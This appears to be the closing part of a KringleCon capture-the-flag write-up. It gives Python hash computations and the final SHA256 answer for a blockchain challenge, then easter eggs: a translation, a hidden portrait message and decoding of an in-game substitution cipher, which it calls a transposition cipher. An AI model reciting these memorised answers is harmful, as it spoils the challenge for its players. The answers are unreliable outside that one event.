print("MD5: "+hash_obj.hexdigest())
hash_obj = SHA256.new()
hash_obj.update(jblock)
print("SHA: "+hash_obj.hexdigest())
print("PH : "+c2.blocks[1011].previous_hash)
Answers:
MD5: b10b4a6bd373b61f32f4fd3a0cdfbf84
SHA: fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb
PH : b10b4a6bd373b61f32f4fd3a0cdfbf84
The final answer is the SHA hash
Dont forget to revisit Santa’s balcony to get the final credits:
Easter Eggs
Three French Hens
Translation of the french hens:
- Pierre - Bonjour - Hello
- Marie - Joyeuses fêtes! - Expression meaning “Happy Holidays!”
- Jean-Claude - Jacques DuGivre! - Jack Frost!
11b
Tinsel Upatree talks about the score previously being negative but now a positive score of 4294935958. However the bitwise score of ffffff is 4294967295
- Score hex(4294967295) ‘0xffffffff’
minus
- Score hex(4294935958) ‘0xffff8596’
= 31337
Two turtle doves attendees
- https://kringlecon.com/textures/art/group.png
Iceman proxmark letter
- https://kringlecon.com/textures/proxmark-email.png
Badges
- https://kringlecon.com/textures/badge_vet.png
- https://kringlecon.com/textures/badge_legendary.png
- https://kringlecon.com/textures/badge.png
Santa portrait
Theres a hidden message
Using Gimp, to mess with the color layers, by altering the Hue and Chroma color settings we can make the letters easier to read
NOW I SHALL BE OUT OF SIGHT
Garden party
Evan appears to be speaking jibberish, we also appear to speak jibberish in chat. But it looks like a simple transposition cipher:
a\HYm6.fGniz?QxIKXvTVJLkSRyeAjUOqMZsg93hD,4 pPtFBEu/
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
1ocC25bNrW
1234567890
8
space
G3mFyh\DDPM000GPpPMU\DDPM0000\DDPM000
ImevanBooth???ItstheBooth????Booth???
The cipher also appears to rotate or change after time? (possibly every hour?)
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890
pUSjYQIMA0fNg3\Detvk RaKXnwqCm52ziJuoTFd/,x9H8rEl6WLcOPyVsGZ4b
AFYEwdU//8iBBBA8H8i5U//8iBBBBU//8iBBB
ImEvanBooth???ItstheBooth????Booth???
Share on: